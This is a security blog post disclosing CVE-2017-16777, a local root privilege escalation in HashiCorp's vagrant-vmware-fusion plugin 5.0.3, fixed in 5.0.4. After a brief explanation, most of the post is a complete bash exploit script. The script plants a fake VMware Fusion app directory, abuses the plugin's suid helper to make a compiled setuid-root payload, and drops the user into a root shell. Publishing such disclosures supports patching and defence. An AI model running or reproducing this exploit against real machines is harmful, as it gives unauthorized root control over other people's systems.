CVE-2017-16777 Local root privesc in Hashicorp vagrant-vmware-fusion 5.0.3

15 Nov 2017 08:21 | macOS | security | exploits

Another day, another root privesc bug in this plugin. Not quite so serious this
time - this one is only exploitable if the user has the plugin installed but
VMware Fusion *not* installed. This is a fairly unlikely scenario but it's a
straight to root privesc with no user interaction so isn't the kind of thing
that should be shipping with any software.

This occurs because the suid root sudo helper that I have discussed in previous
exploit writeups executes /Applications/VMware
Fusion.app/Contents/Library/vmnet-cli
as root, but if the application isn't installed and we're a local admin user we
can create a fake app directory with a payload in place of vmnet-cli that gets
executed as root.

HashiCorp fixed this (very quickly) in 5.0.4.

https://m4.rkw.io/vagrant_vmware_privesc_5.0.3.sh.txt
3c11083386b3f7352d60b327190eed4364383c0622351db5410d809f4bda746a
------------------------------------------------------------------------------
#!/bin/bash
echo
echo "#########################################################"
echo "# vagrant_vmware_fusion plugin 5.0.3 local root privesc #"
echo "# by m4rkw - https://m4.rkw.io/blog.html                #";
echo "#########################################################"
echo "# Note: only works when VMWare Fusion is not installed. #"
echo "#########################################################"
echo

cleanup() {
  exec 2> /dev/null
  killall -9 vagrant 1>/dev/null 2>/dev/null
  kill -9 `ps auxwww |egrep '\/vagrant up$' |xargs -L1 |cut -d ' ' -f2` &>/dev/null
  exec 2> /dev/tty
  cd
  rm -rf .vagrant_vmware_fusion_503_exp
  rm -rf /Applications/VMware\ Fusion.app
}

if [ -e "/Applications/VMware Fusion.app" ] ; then
  echo "Fusion is installed, not exploitable."
  exit 1
fi

echo "setting up fake app directory..."

mkdir /Applications/VMware\ Fusion.app
if [ ! $? -eq 0 ] ; then
  echo "Failed to create /Applications/VMware Fusion.app."
  exit 1
fi

mkdir -p /Applications/VMware\ Fusion.app/Contents/Library/services

touch /Applications/VMware\ Fusion.app/Contents/Library/vmrun
touch /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ Fusion\ Services
chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/vmrun
chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ Fusion\ Services

cat > /Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx <<EOF
#!/bin/bash
echo 1>&2
echo "VMware Fusion Information:" 1>&2
echo "VMware Fusion 10.0.1 build-6754183 Release" 1>&2
echo
EOF

chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx

cat > /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli <<EOF
#!/bin/bash
chown root:wheel /tmp/vvp_503
chmod 4755 /tmp/vvp_503
EOF

chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli

echo "compiling payload..."

cat > /tmp/vvp_503.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f /tmp/vvp_503; /bin/bash",NULL);
  return 0;
}
EOF
gcc -o /tmp/vvp_503 /tmp/vvp_503.c
rm -f /tmp/vvp_503.c

cd
mkdir .vagrant_vmware_fusion_503_exp
cd .vagrant_vmware_fusion_503_exp

echo "writing dummy vagrantfile ..."

cat > vagrantfile <<EOF
Vagrant.configure('2') do |config|
  config.vm.box = 'envimation/ubuntu-xenial'
end
EOF

echo "triggering vagrant up [stage 1]..."

vagrant up &>/dev/null &

while :
do
  r=`ps auxwww |grep 'vagrant up' |grep -v grep`
  if [ "$r" == "" ] ; then
    break
  fi
  sleep 0.5
done

echo "dropping dummy machine..."

uuid=`ls -1 .vagrant/machines/default/vmware_fusion |grep -v vagrant_cwd`
touch .vagrant/machines/default/vmware_fusion/$uuid/ubuntu-xenial-vmware-fusion.vmx
echo -n "`pwd`/.vagrant/machines/default/vmware_fusion/$uuid/ubuntu-xenial-vmware-fusion.vmx" > .vagrant/machines/default/vmware_fusion/id

echo "triggering vagrant up [stage 2]..."

vagrant up &>/dev/null &

echo "waiting for payload to trigger ..."

count=0
success=0

while :
do
  r=`ls -la /tmp/vvp_503 |grep -- '-rwsr-xr-x  1 root  wheel'`
  if [ "$r" != "" ] ; then
    success=1
    break
  fi
  r=`ps auxwww |grep 'vagrant up' |grep -v grep`
  if [ "$r" == "" ] ; then
    break
  fi
  sleep 0.2
  count=$(($count + 1))
  if [ $count -eq 250 ] ; then
    echo "Timed out waiting for the payload to trigger."
    cleanup
    exit 1
  fi
done

cleanup

if [ ! $success -eq 1 ] ; then
  echo "exploit failed."
  exit 1
fi

echo
cd
/tmp/vvp_503